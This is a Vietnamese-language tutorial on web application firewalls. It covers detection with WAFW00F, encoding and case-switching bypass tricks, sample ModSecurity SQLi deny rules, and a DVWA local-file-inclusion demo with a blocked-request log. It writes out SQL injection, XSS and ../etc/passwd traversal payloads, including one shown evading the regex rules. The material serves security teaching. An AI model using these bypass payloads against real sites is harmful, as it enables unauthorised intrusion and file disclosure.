WAF Bypass Techniques


I.Giới thiệu về Tường lửa Ứng dụng Web (Web Application Firewall-WAF)

Nguyên lý hoạt động cơ bản

  1. Kiểm tra lưu lượng: WAF thu thập và kiểm tra tất cả các yêu cầu đến ứng dụng web. Trong quá trình này, nội dung, tiêu đề, URL và các tham số khác của yêu cầu được kiểm tra.
  2. Áp dụng quy tắc/chính sách: WAF áp dụng các quy tắc hoặc chính sách được định sẵn cho yêu cầu đến. Các quy tắc này được thiết kế để bảo vệ chống lại các cuộc tấn công web phổ biến như tiêm nhiễm SQL, XSS và CSRF.
  3. Chặn lưu lượng độc hại: Nếu yêu cầu đến không tuân thủ các quy tắc của WAF hoặc được coi là tiềm ẩn nguy hại, WAF sẽ chặn yêu cầu, ngăn không cho nó đến được ứng dụng web.
  4. Chuyển tiếp lưu lượng hợp pháp: Nếu yêu cầu đến tuân thủ các quy tắc của WAF và được coi là an toàn, WAF sẽ chuyển tiếp yêu cầu đến ứng dụng web.

Các loại tấn công mà WAF bảo vệ

  • Tiêm nhiễm SQL (SQL Injection): Một loại tấn công mà kẻ tấn công chèn mã SQL độc hại vào các yêu cầu của ứng dụng web để truy cập hoặc sửa đổi cơ sở dữ liệu.
  • Tấn công Kịch bản Xuyên trang (Cross-Site Scripting - XSS): Một loại tấn công mà kẻ tấn công thực thi các kịch bản độc hại trong trình duyệt của người dùng khác thông qua ứng dụng web.
  • Tấn công Giả mạo Yêu cầu Xuyên trang (Cross-Site Request Forgery - CSRF): Một loại tấn công mà kẻ tấn công lừa người dùng gửi các yêu cầu trái phép đến ứng dụng web mà không có sự đồng ý của họ.
  • Chèn tệp (File Inclusion): Một loại tấn công cho phép kẻ tấn công tải lên các tệp độc hại lên máy chủ hoặc thực thi các tệp trên máy chủ bằng cách khai thác cơ chế xử lý tệp của ứng dụng web.
  • Tấn công Từ chối Dịch vụ Phân tán (DDoS Attacks): Các cuộc tấn công nhằm làm cho ứng dụng web hoặc máy chủ không khả dụng bằng cách gửi một lượng lớn yêu cầu để quá tải hệ thống.

Ưu điểm

  • Bảo vệ ứng dụng web: WAF bảo vệ chống lại các cuộc tấn công kể trên và nhiều loại khác, ngăn chặn việc khai thác các lỗ hổng trong ứng dụng web.
  • Bảo mật tầng ứng dụng: Cung cấp bảo vệ chống lại các cuộc tấn công tầng ứng dụng mà các tường lửa tầng mạng không thể phát hiện.
  • Tạo danh sách đen và danh sách trắng: Tăng cường bảo mật bằng cách tạo danh sách đen để chặn các địa chỉ IP hoặc lưu lượng độc hại, và danh sách trắng để cho phép các địa chỉ IP hoặc lưu lượng đáng tin cậy.
  • Ghi nhật ký và báo cáo: Giám sát và ghi lại lưu lượng mạng, hỗ trợ phát hiện và phân tích các sự cố bảo mật tiềm ẩn.

Nhược điểm

  • Dương tính giả: Trong một số trường hợp, WAF có thể vô tình chặn lưu lượng hợp pháp.
  • Bảo vệ hạn chế đối với tấn công zero-day: Có thể không cung cấp bảo vệ hoàn toàn chống lại các cuộc tấn công zero-day.
  • Ảnh hưởng đến hiệu suất: Có thể làm giảm hiệu suất của ứng dụng web, đặc biệt khi lưu lượng truy cập lớn.

Các loại WAF

  • WAF dựa trên đám mây: Được cung cấp dưới dạng dịch vụ trên đám mây, không yêu cầu cài đặt phần cứng hoặc phần mềm.
  • WAF dựa trên phần cứng: Là thiết bị vật lý, thường được đặt ở điểm đầu vào của mạng.
  • WAF dựa trên phần mềm: Được cài đặt trên máy chủ dưới dạng ứng dụng phần mềm.

WAF Nâng cao

  • Phân tích hành vi: Một số WAF sử dụng các kỹ thuật như học máy và phân tích hành vi để phát hiện các mẫu lưu lượng bất thường.
  • Bảo vệ tấn công Zero-Day: Sử dụng các cơ sở dữ liệu thông tin mối đe dọa được cập nhật liên tục để bảo vệ chống lại các loại tấn công mới hoặc chưa biết.
  • Bảo vệ chống bot: Có khả năng phát hiện và chặn các cuộc tấn công tự động từ bot.
  • Bảo vệ API: Có thể ngăn chặn các cuộc tấn công nhắm vào API.

II.Các Chế độ Hoạt động của WAF

Mô hình Tiêu cực (Dựa trên Danh sách Đen - Blacklist-Based)

Trong mô hình này, WAF hoạt động dựa trên một danh sách đen được xác định trước. Danh sách đen này chứa các mẫu tấn công độc hại đã biết, chữ ký hoặc địa chỉ IP. WAF so sánh các yêu cầu đến với danh sách đen và chặn bất kỳ yêu cầu nào khớp với danh sách này.

Ưu điểm:

  • Cài đặt nhanh và dễ dàng: Có thể triển khai nhanh chóng với các quy tắc được định sẵn.
  • Hiệu quả với các mối đe dọa đã biết: Cung cấp khả năng phòng thủ mạnh mẽ chống lại các loại tấn công phổ biến.

Nhược điểm:

  • Dễ bị tấn công zero-day: Khó phát hiện các cuộc tấn công mới và chưa được liệt kê trong danh sách đen.
  • Tỷ lệ dương tính giả cao: Có thể vô tình chặn các yêu cầu hợp pháp.

Mô hình Tích cực (Dựa trên Danh sách Trắng - Whitelist-Based)

Trong mô hình này, WAF hoạt động dựa trên một danh sách trắng được xác định trước. Danh sách trắng này chỉ chứa các yêu cầu an toàn và được phép. WAF so sánh các yêu cầu đến với danh sách trắng và chặn bất kỳ yêu cầu nào không khớp.

Ưu điểm:

  • Bảo mật cao hơn: Cung cấp bảo mật chặt chẽ hơn bằng cách chỉ cho phép các yêu cầu cụ thể.
  • Tỷ lệ dương tính giả thấp: Ít có khả năng chặn các yêu cầu hợp pháp.

Nhược điểm:

  • Cấu hình phức tạp: Việc định nghĩa danh sách trắng chính xác đòi hỏi thời gian và chuyên môn.
  • Thiếu linh hoạt: Có thể chặn các yêu cầu hợp pháp mới hoặc không mong đợi.

Mô hình Kết hợp (Hybrid Model)

Mô hình này kết hợp các đặc điểm của cả mô hình tiêu cực và tích cực. Nó sử dụng cả danh sách đen và danh sách trắng. WAF đầu tiên kiểm tra các yêu cầu đến với danh sách đen, nếu không khớp, nó sẽ kiểm tra với danh sách trắng. Nếu yêu cầu không khớp với cả hai danh sách, WAF có thể chặn yêu cầu hoặc đánh dấu để kiểm tra thêm.

Ưu điểm:

  • Linh hoạt hơn: Có thể bảo vệ chống lại cả các cuộc tấn công đã biết và chưa biết.
  • Tỷ lệ dương tính giả thấp hơn: Sự kết hợp giữa danh sách đen và danh sách trắng giảm số lượng dương tính giả.

Nhược điểm:

  • Khó khăn trong cấu hình: Việc thiết lập chính xác cả danh sách đen và danh sách trắng đòi hỏi thời gian và chuyên môn.

Tóm tắt

  • Nếu bạn cần một giải pháp nhanh và dễ dàng và chỉ cần bảo vệ cơ bản chống lại các cuộc tấn công đã biết, mô hình tiêu cực có thể phù hợp.
  • Nếu bạn muốn bảo mật chặt chẽ hơn và quan tâm nhiều hơn đến các mối đe dọa mới, mô hình tích cực có thể phù hợp hơn.
  • Nếu bạn tìm kiếm sự bảo vệ chống lại cả các cuộc tấn công đã biết và chưa biết và cần một cấu hình linh hoạt hơn, mô hình kết hợp có thể là lựa chọn tốt nhất.

Phát hiện WAF

Kiểm tra các cổng chuẩn

WAF thường hoạt động trên các cổng phổ biến như 80 (HTTP), 443 (HTTPS), 8000, 8080, và 8888. Tuy nhiên, lưu ý rằng WAF có thể được triển khai trên bất kỳ cổng nào có dịch vụ HTTP đang chạy. Do đó, việc xác định các cổng dịch vụ HTTP trước, sau đó tìm kiếm WAF là một phương pháp tốt.

Một số WAF thêm các cookie tùy chỉnh vào yêu cầu (ví dụ: Citrix Netscaler, Yunsuo WAF).

Tìm kiếm các tiêu đề tùy chỉnh

Một số WAF tự nhận diện qua các tiêu đề cụ thể (ví dụ: Anquanbao WAF, Amazon AWS WAF).

Kiểm tra sửa đổi tiêu đề

Một số WAF sửa đổi tiêu đề và mã hóa các ký tự để gây nhầm lẫn cho kẻ tấn công (ví dụ: Netscaler, Big-IP).

Kiểm tra tiêu đề Server

Một số WAF tiết lộ danh tính của chúng trong tiêu đề Server (ví dụ: Approach, WTS WAF).

Phân tích nội dung phản hồi

Một số WAF biểu thị sự hiện diện của chúng trong nội dung phản hồi (ví dụ: DotDefender, Armor, Sitelock).

Quan sát mã phản hồi bất thường

Một số WAF trả về các mã phản hồi bất thường cho các yêu cầu độc hại (ví dụ: WebKnight, 360 WAF).

Kỹ thuật Phát hiện

Chúng ta có thể kích hoạt WAF bằng các cuộc tấn công “giả” để quan sát phản hồi của chúng. Các phương pháp bao gồm:

  1. Tạo yêu cầu GET thông thường: Gửi một yêu cầu GET thông thường từ trình duyệt và ghi lại các tiêu đề phản hồi (đặc biệt là cookie). Điều này giúp xác định bất kỳ cookie tùy chỉnh nào được WAF tạo ra.
  2. Gửi yêu cầu từ dòng lệnh: Sử dụng công cụ như cURL để gửi yêu cầu mà không có User-Agent. Quan sát cách WAF phản hồi với các yêu cầu không có User-Agent.
  3. Gửi yêu cầu GET đến các cổng mở ngẫu nhiên: Gửi yêu cầu GET đến các cổng mở ngẫu nhiên để lấy các banner có thể tiết lộ danh tính của WAF.
  4. Tiêm payload độc hại vào trang đăng nhập: Tiêm các payload độc hại dễ phát hiện (ví dụ: ' or 1=1 --) vào các trang đăng nhập và quan sát phản hồi của WAF.
  5. Thêm payload độc hại vào thanh tìm kiếm và biểu mẫu: Thêm các payload độc hại như <script>alert()</script> vào thanh tìm kiếm, biểu mẫu liên hệ và các trường nhập liệu khác.
  6. Thêm tệp giả vào URL: Thêm đường dẫn tệp như ../../../etc/passwd làm tham số ngẫu nhiên vào URL và quan sát phản hồi của WAF.
  7. Thêm từ khóa vào URL: Thêm các từ khóa như ' OR SLEEP(5) OR ' làm tham số ngẫu nhiên vào URL và quan sát phản hồi của WAF.
  8. Gửi yêu cầu với giao thức cũ: Gửi yêu cầu GET bằng các giao thức cũ như HTTP/0.9. (Lưu ý: HTTP/0.9 không hỗ trợ yêu cầu POST.)
  9. Theo dõi thay đổi trong tiêu đề Server: Một số WAF thay đổi tiêu đề Server dựa trên các kiểu tương tác khác nhau. Quan sát các thay đổi này.

III.WAFW00F

Tổng quan

WAFW00F là một công cụ dòng lệnh được sử dụng để phát hiện sự hiện diện của Tường lửa Ứng dụng Web (WAF) trước một ứng dụng web. Công cụ này có khả năng nhận diện nhiều loại WAF khác nhau và là phần mềm miễn phí, mã nguồn mở.

WAFW00F gửi một loạt yêu cầu đến máy chủ web và phân tích các phản hồi để xác định sự hiện diện và loại WAF. Nó có thể phát hiện nhiều WAF phổ biến như ModSecurity, Cloudflare, Imperva, v.v., và thông báo loại WAF đang được sử dụng.

Nguyên lý hoạt động

  1. Phát hiện thụ động: WAFW00F gửi các yêu cầu thông thường đến máy chủ web và kiểm tra các tiêu đề phản hồi (đặc biệt là tiêu đề Server và cookie). Các giá trị cụ thể trong những tiêu đề này có thể chỉ ra sự hiện diện của WAF.
  2. Phát hiện chủ động: WAFW00F gửi các yêu cầu chứa các mẫu tấn công đã biết đến máy chủ web và quan sát cách WAF phản hồi. Vì WAF thường cố gắng chặn hoặc sửa đổi các yêu cầu độc hại, các phản hồi này giúp xác định sự hiện diện và loại WAF.

Về cơ bản, công cụ này tự động hóa các bước đã được mô tả trong các phần trước.

Cách sử dụng

Bạn có thể truy cập trang trợ giúp của WAFW00F bằng lệnh sau:

┌──(user㉿kali)-[~]
└─$ wafw00f -h
Usage: wafw00f url1 [url2 [url3 ... ]]
example: wafw00f http://www.victim.org/

Options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable verbosity, multiple -v options increase
                        verbosity
  -a, --findall         Find all WAFs which match the signatures, do not stop
                        testing on the first one
  -r, --noredirect      Do not follow redirections given by 3xx responses
  -t TEST, --test=TEST  Test for one specific WAF
  -o OUTPUT, --output=OUTPUT
                        Write output to csv, json or text file depending on
                        file extension. For stdout, specify - as filename.
  -f FORMAT, --format=FORMAT
                        Force output format to csv, json or text.
  -i INPUT, --input-file=INPUT
                        Read targets from a file. Input format can be csv,
                        json or text. For csv and json, a `url` column name or
                        element is required.
  -l, --list            List all WAFs that WAFW00F is able to detect
  -p PROXY, --proxy=PROXY
                        Use an HTTP proxy to perform requests, examples:
                        http://hostname:8080, socks5://hostname:1080,
                        http://user:pass@hostname:8080
  -V, --version         Print out the current version of WafW00f and exit.
  -H HEADERS, --headers=HEADERS
                        Pass custom headers via a text file to overwrite the
                        default header set.

Danh sách WAF có thể phát hiện

Bạn có thể xem danh sách tất cả các WAF mà WAFW00F có thể phát hiện bằng tham số -l:

┌──(user㉿kali)-[~]
└─$ wafw00f -l

                ______
               /      \
              (  Woof! )
               \  ____/
               ,,                  
           .-. -                )  (_
          ()``; |===|_______)   .  |__|
         / (' --      /|\    .  |__|
     (  /  )        / | \      ( |__|
      \(_))      /  |  \       |__|
  
                  ~ WAFW00F : v2.2.0 ~
  The Web Application Firewall Fingerprinting Toolkit

[+] Can test for these WAFs:

  WAF Name                        Manufacturer
  --------                        ------------
  ACE XML Gateway                 Cisco                            
  aeSecure                        aeSecure                         
  AireeCDN                        Airee                            
  Airlock                         Phion/Ergon                      
  Alert Logic                     Alert Logic                      
  AliYunDun                       Alibaba Cloud Computing          
  Anquanbao                       Anquanbao                        
  AnYu                            AnYu Technologies                
  Approach                        Approach                         
  AppWall                         Radware                          
  Armor Defense                   Armor                            
  ArvanCloud                      ArvanCloud                       
  ASP.NET Generic                 Microsoft                        
  ASPA Firewall                   ASPA Engineering Co.             
  Astra                           Czar Securities                  
  AWS Elastic Load Balancer       Amazon                           
  AzionCDN                        AzionCDN                         
  Azure Front Door                Microsoft                        
  Barikode                        Ethic Ninja                      
  Barracuda                       Barracuda Networks               
  Bekchy                          Faydata Technologies Inc.        
  Beluga CDN                      Beluga                           
  BIG-IP Local Traffic Manager    F5 Networks                      
  BinarySec                       BinarySec                        
  BitNinja                        BitNinja                         
  BlockDoS                        BlockDoS                         
  Bluedon                         Bluedon IST                      
  BulletProof Security Pro        AITpro Security                  
  CacheWall                       Varnish                          
  CacheFly CDN                    CacheFly                         
  Comodo cWatch                   Comodo CyberSecurity             
  CdnNS Application Gateway       CdnNs/WdidcNet                   
  ChinaCache Load Balancer        ChinaCache                       
  Chuang Yu Shield                Yunaq                            
  Cloudbric                       Penta Security                   
  Cloudflare                      Cloudflare Inc.                  
  Cloudfloor                      Cloudfloor DNS                   
  Cloudfront                      Amazon                           
  CrawlProtect                    Jean-Denis Brun                  
  DataPower                       IBM                              
  Cloud Protector                 Rohde & Schwarz CyberSecurity    
  DenyALL                         Rohde & Schwarz CyberSecurity    
  Distil                          Distil Networks                  
  DOSarrest                       DOSarrest Internet Security      
  DDoS-GUARD                      DDOS-GUARD CORP.                 
  DotDefender                     Applicure Technologies           
  DynamicWeb Injection Check      DynamicWeb                       
  Edgecast                        Verizon Digital Media            
  Eisoo Cloud Firewall            Eisoo                            
  Expression Engine               EllisLab                         
  BIG-IP AppSec Manager           F5 Networks                      
  BIG-IP AP Manager               F5 Networks                      
  Fastly                          Fastly CDN                       
  FirePass                        F5 Networks                      
  FortiWeb                        Fortinet                         
  GoDaddy Website Protection      GoDaddy                          
  Greywizard                      Grey Wizard                      
  Huawei Cloud Firewall           Huawei                           
  HyperGuard                      Art of Defense                   
  Imunify360                      CloudLinux                       
  Incapsula                       Imperva Inc.                     
  IndusGuard                      Indusface                        
  Instart DX                      Instart Logic                    
  ISA Server                      Microsoft                        
  Janusec Application Gateway     Janusec                          
  Jiasule                         Jiasule                          
  Kona SiteDefender               Akamai                           
  KS-WAF                          KnownSec                         
  KeyCDN                          KeyCDN                           
  LimeLight CDN                   LimeLight                        
  LiteSpeed                       LiteSpeed Technologies           
  Open-Resty Lua Nginx            FLOSS                            
  Oracle Cloud                    Oracle                           
  Malcare                         Inactiv                          
  MaxCDN                          MaxCDN                           
  Mission Control Shield          Mission Control                  
  ModSecurity                     SpiderLabs                       
  NAXSI                           NBS Systems                      
  Nemesida                        PentestIt                        
  NevisProxy                      AdNovum                          
  NetContinuum                    Barracuda Networks               
  NetScaler AppFirewall           Citrix Systems                   
  Newdefend                       NewDefend                        
  NexusGuard Firewall             NexusGuard                       
  NinjaFirewall                   NinTechNet                       
  NullDDoS Protection             NullDDoS                         
  NSFocus                         NSFocus Global Inc.              
  OnMessage Shield                BlackBaud                        
  Palo Alto Next Gen Firewall     Palo Alto Networks               
  PerimeterX                      PerimeterX                       
  PentaWAF                        Global Network Services          
  pkSecurity IDS                  pkSec                            
  PT Application Firewall         Positive Technologies            
  PowerCDN                        PowerCDN                         
  Profense                        ArmorLogic                       
  Puhui                           Puhui                            
  Qcloud                          Tencent Cloud                    
  Qiniu                           Qiniu CDN                        
  Qrator                          Qrator                           
  Reblaze                         Reblaze                          
  RSFirewall                      RSJoomla!                        
  RequestValidationMode           Microsoft                        
  Sabre Firewall                  Sabre                            
  Safe3 Web Firewall              Safe3                            
  Safedog                         SafeDog                          
  Safeline                        Chaitin Tech.                    
  SecKing                         SecKing                          
  eEye SecureIIS                  BeyondTrust                      
  SecuPress WP Security           SecuPress                        
  SecureSphere                    Imperva Inc.                     
  Secure Entry                    United Security Providers        
  SEnginx                         Neusoft                          
  ServerDefender VP               Port80 Software                  
  Shield Security                 One Dollar Plugin                
  Shadow Daemon                   Zecure                           
  SiteGround                      SiteGround                       
  SiteGuard                       Sakura Inc.                      
  Sitelock                        TrueShield                       
  SonicWall                       Dell                             
  UTM Web Protection              Sophos                           
  Squarespace                     Squarespace                      
  SquidProxy IDS                  SquidProxy                       
  StackPath                       StackPath                        
  Sucuri CloudProxy               Sucuri Inc.                      
  Tencent Cloud Firewall          Tencent Technologies             
  Teros                           Citrix Systems                   
  Trafficshield                   F5 Networks                      
  TransIP Web Firewall            TransIP                          
  URLMaster SecurityCheck         iFinity/DotNetNuke               
  URLScan                         Microsoft                        
  UEWaf                           UCloud                           
  Varnish                         OWASP                            
  Viettel                         Cloudrity                        
  VirusDie                        VirusDie LLC                     
  Wallarm                         Wallarm Inc.                     
  WatchGuard                      WatchGuard Technologies          
  WebARX                          WebARX Security Solutions        
  WebKnight                       AQTRONIX                         
  WebLand                         WebLand                          
  wpmudev WAF                     Incsub                           
  RayWAF                          WebRay Solutions                 
  WebSEAL                         IBM                              
  WebTotem                        WebTotem                         
  West263 CDN                     West263CDN                       
  Wordfence                       Defiant                          
  WP Cerber Security              Cerber Tech                      
  WTS-WAF                         WTS                              
  360WangZhanBao                  360 Technologies                 
  XLabs Security WAF              XLabs                            
  Xuanwudun                       Xuanwudun                        
  Yundun                          Yundun                           
  Yunsuo                          Yunsuo                           
  Yunjiasu                        Baidu Cloud Computing            
  YXLink                          YxLink Technologies              
  Zenedge                         Zenedge                          
  ZScaler                         Accenture                        
  Shieldon Firewall               Shieldon.io                      

Phát hiện WAF

Bạn có thể phát hiện WAF bằng cách chạy lệnh sau:

┌──(user㉿kali)-[~]
└─$ wafw00f http://VICTIM_IP/

                ______
               /      \            
              (  W00f! )
               \  ____/
               ,,    __            404 Hack Not Found
           |`-.__   / /                      __     __
           /"  _/  /_/                       \ \   / /
          *===*    /                          \ \_/ /  405 Not Allowed
         /     )__//                           \   /
    /|  /     /---`                        403 Forbidden
    \\/`   \ |                                 / _ \
    `\    /_\\_              502 Bad Gateway  / / \ \  500 Internal Error
      `_____``-`                             /_/   \_\

                        ~ WAFW00F : v2.2.0 ~
        The Web Application Firewall Fingerprinting Toolkit

[*] Checking http://VICTIM_IP/
[+] Generic Detection results:
[*] The site http://VICTIM_IP/ seems to be behind a WAF or some sort of security solution
[~] Reason: The server returns a different response code when an attack string is used.
Normal response code is "200", while the response code to cross-site scripting attack is "403"
[~] Number of requests: 5

Giải thích kết quả

  • Công cụ kiểm tra URL mục tiêu (http://VICTIM_IP/) và phát hiện sự hiện diện của WAF hoặc giải pháp bảo mật.
  • Lý do: Máy chủ trả về mã phản hồi khác nhau (ví dụ: mã 200 cho yêu cầu thông thường và mã 403 cho chuỗi tấn công XSS), điều này cho thấy sự hiện diện của WAF.
  • Số lượng yêu cầu: 5 yêu cầu được gửi để phân tích.

IV.Kỹ Thuật Bypass WAF

Mặc dù có nhiều kỹ thuật, chúng ta sẽ tập trung chủ yếu vào những kỹ thuật được sử dụng phổ biến nhất.

Khi cố gắng bypass WAF, chúng ta gặp hai phương pháp chính:

  • Bypass thủ công
  • Bypass dựa trên công cụ

Bypass Thủ Công

Những kỹ thuật này thường nhằm khai thác các điểm yếu hoặc cấu hình sai của WAF để chuyển lưu lượng độc hại đến ứng dụng web. Không giống như các công cụ tự động, bypass thủ công liên quan đến việc kẻ tấn công phân tích WAF và thử các kỹ thuật tấn công cụ thể để bypass nó. Điều này đòi hỏi hiểu biết sâu hơn về cách WAF hoạt động và cho phép các cuộc tấn công có mục tiêu hơn.

Phân Tích Regex

Hiểu và bypass các quy tắc regex được coi là một trong những phương pháp hiệu quả nhất để vượt qua WAF. WAF thường sử dụng biểu thức chính quy (regex) để phát hiện lưu lượng độc hại trong khi bảo vệ ứng dụng web. Kẻ tấn công phân tích các mẫu regex này để tìm cách gửi payload độc hại mà không kích hoạt bộ lọc WAF.

Ví dụ, nếu các quy tắc như sau:

SecRule ARGS|REQUEST_BODY "@rx (select|union|from|where|having|order\s+by|group\s+by)" \
  "id:1000, phase:2, deny,status:403, msg:'Potential SQL Injection Attack'"

SecRule ARGS|REQUEST_BODY "@rx \b(information_schema|sysdatabases|pg_sleep|benchmark|sleep\(\d+\)|0x[0-9a-fA-F]+)" \
  "id:1001, phase:2, deny,status:403, msg:'Potential SQL Injection (Database Metadata/Sleep Functions)'"

SecRule ARGS|REQUEST_BODY "@rx ;|--|\/\*" \
  "id:1002, phase:2, deny,status:403, msg:'Potential SQL Injection (Multiple Statements/Comments)'"

SecRule ARGS|REQUEST_BODY "@rx \b(and|or|not|\|\||&&|xor)\b" \
  "id:1003, phase:2, block, msg:'Potential SQL Injection (Boolean Operators)'"

Trong trường hợp SQL Injection, thay vì sử dụng ' or 1=1 -- -, sử dụng ' oR 1=1 # sẽ bypass các bộ lọc regex.

Obfuscation và Encoding

Obfuscation và encoding ngụy trang hoặc thay đổi payload độc hại, khiến WAF khó phát hiện chúng. Những kỹ thuật này làm phức tạp nỗ lực phát hiện lưu lượng độc hại của WAF và cho phép kẻ tấn công truy cập vào ứng dụng web. Dưới đây là một số kỹ thuật obfuscation/encoding thường được sử dụng:

Case Switching: Sửa đổi chữ hoa chữ thường của các chữ cái trong payload độc hại để đánh lừa thuật toán khớp chuỗi của WAF. Ví dụ, sử dụng “SELECT” như “SeLeCt” hoặc “sElEcT”.

URL Encoding: Biểu diễn các ký tự trong payload độc hại bằng cách sử dụng dấu phần trăm (%) và mã thập lục phân để khiến WAF khó nhận ra các ký tự có hại hơn. Ví dụ, một ký tự khoảng trắng được mã hóa thành “%20”.

Unicode Normalization: Sử dụng các biểu diễn Unicode khác nhau của cùng một ký tự. Ví dụ, chữ cái “A” có thể được mã hóa là cả U+0041 và U+FF21. WAF có thể không phát hiện tất cả các biến thể.

HTML Encoding: Biểu diễn các ký tự độc hại dưới dạng thực thể HTML. Ví dụ, ”<” được mã hóa thành ”<”. Điều này có thể được sử dụng để bypass WAF trong các cuộc tấn công XSS.

Compound Encoding: Kết hợp các kỹ thuật mã hóa khác nhau (ví dụ: URL encoding, HTML encoding) để làm phức tạp việc phát hiện của WAF. Ví dụ, trong một cuộc tấn công SQL injection, một số phần của mã SQL có thể được ẩn bằng URL encoding, và các phần khác bằng mã hóa thập lục phân.

Using Comments: Chèn các comment (/* */ hoặc --) vào payload độc hại để ngăn WAF nhận ra chúng như một biểu thức duy nhất.

Double Encoding: Mã hóa payload độc hại hai lần (ví dụ: đầu tiên URL encoding, sau đó base64 encoding) để khiến WAF khó phát hiện payload sau khi giải mã ban đầu.

Wildcard Characters: Sử dụng ký tự đại diện (*, ?, .) trong payload độc hại để bypass thuật toán khớp mẫu của WAF.

Concatenation Characters: Các ngôn ngữ lập trình khác nhau có cú pháp và mẫu nối chuỗi khác nhau. Các mẫu này (ví dụ: ký tự +) có thể được sử dụng để đạt được việc nối chuỗi ở phía máy chủ.

Các công cụ như CyberChef có thể được sử dụng để thực hiện các thao tác này.

Google Dorking

Mặc dù sự sáng tạo là chìa khóa trong bypass thủ công, bạn cũng có thể lấy cảm hứng từ ý tưởng của những người khác đã từng sáng tạo. Nhiều WAF khác nhau có nhiều phương pháp bypass đã biết, có thể dễ dàng tìm thấy với sự trợ giúp của Google dorks.

Ví dụ, để tìm kiếm một WAF:

+WAF_NAME waf bypass

Để tìm kiếm các loại bypass cụ thể:

"WAF_NAME" +<bypass type> (bypass|exploit)

Để tìm kiếm trong Exploit DB:

site:exploit-db.com +WAF_NAME bypass

V.Local File Inclusion (LFI)

LFI là một loại tấn công web cho phép kẻ tấn công truy cập, đọc hoặc thực thi các file trên máy chủ bằng cách khai thác lỗ hổng trong ứng dụng web. Lỗ hổng này thường do ứng dụng web không xác thực đúng cách tên file hoặc đường dẫn do người dùng nhập vào.

Ứng dụng web thường bao gồm các file để tạo nội dung động. Ví dụ, các bài báo tin tức hoặc bài đăng blog trên một trang web thường được lưu trữ trong các file riêng biệt và được include vào trang web khi người dùng yêu cầu.

Một cuộc tấn công LFI tận dụng cơ chế include file này để lừa ứng dụng web include các file không mong muốn hoặc độc hại. Điều này có thể cho phép kẻ tấn công truy cập các file nhạy cảm trên máy chủ, sửa đổi mã của ứng dụng web hoặc thực thi mã độc hại trên máy chủ.

Truy cập các File Nhạy cảm: Kẻ tấn công có thể truy cập các file hệ thống như /etc/passwd để lấy thông tin nhạy cảm như tên người dùng và password hash.

Thực thi Mã Độc hại: Kẻ tấn công có thể tạo một script PHP độc hại trên máy chủ và lừa ứng dụng web chạy nó, có khả năng giành toàn quyền kiểm soát máy chủ.

Ví dụ, mã nguồn của DVWA (Damn Vulnerable Web Application) để demo LFI có thể như sau:

<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ]   = 'Vulnerability: File Inclusion' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'fi';
$page[ 'help_button' ]   = 'fi';
$page[ 'source_button' ] = 'fi';

dvwaDatabaseConnect();

$vulnerabilityFile = '';
switch( dvwaSecurityLevelGet() ) {
        case 'low':
                $vulnerabilityFile = 'low.php';
                break;
        case 'medium':
                $vulnerabilityFile = 'medium.php';
                break;
        case 'high':
                $vulnerabilityFile = 'high.php';
                break;
        default:
                $vulnerabilityFile = 'impossible.php';
                break;
}

require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";

// if( count( $_GET ) )
if( isset( $file ) )
        include( $file );
else {
        header( 'Location:?page=include.php' );
        exit;
}

dvwaHtmlEcho( $page );

?>

Mã ở mức bảo mật thấp trong low.php có thể trông như sau:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

Kiểm thử LFI

Ví dụ, nếu không có WAF nào, payload sau sẽ hoạt động mà không có vấn đề gì:

?page=../../../../../../etc/passwd

Tuy nhiên, WAF có thể dễ dàng phát hiện payload này như được hiển thị trong log:

--023cda21-A--
[20/Jun/2024:08:30:07.344460 +0000] ZnPoj6IdlbwW3kre-lJF8AAAAAI ATTACKER_IP 57980 VICTIM_IP 80
--023cda21-B--
GET /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1

--023cda21-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

--023cda21-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>

--023cda21-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
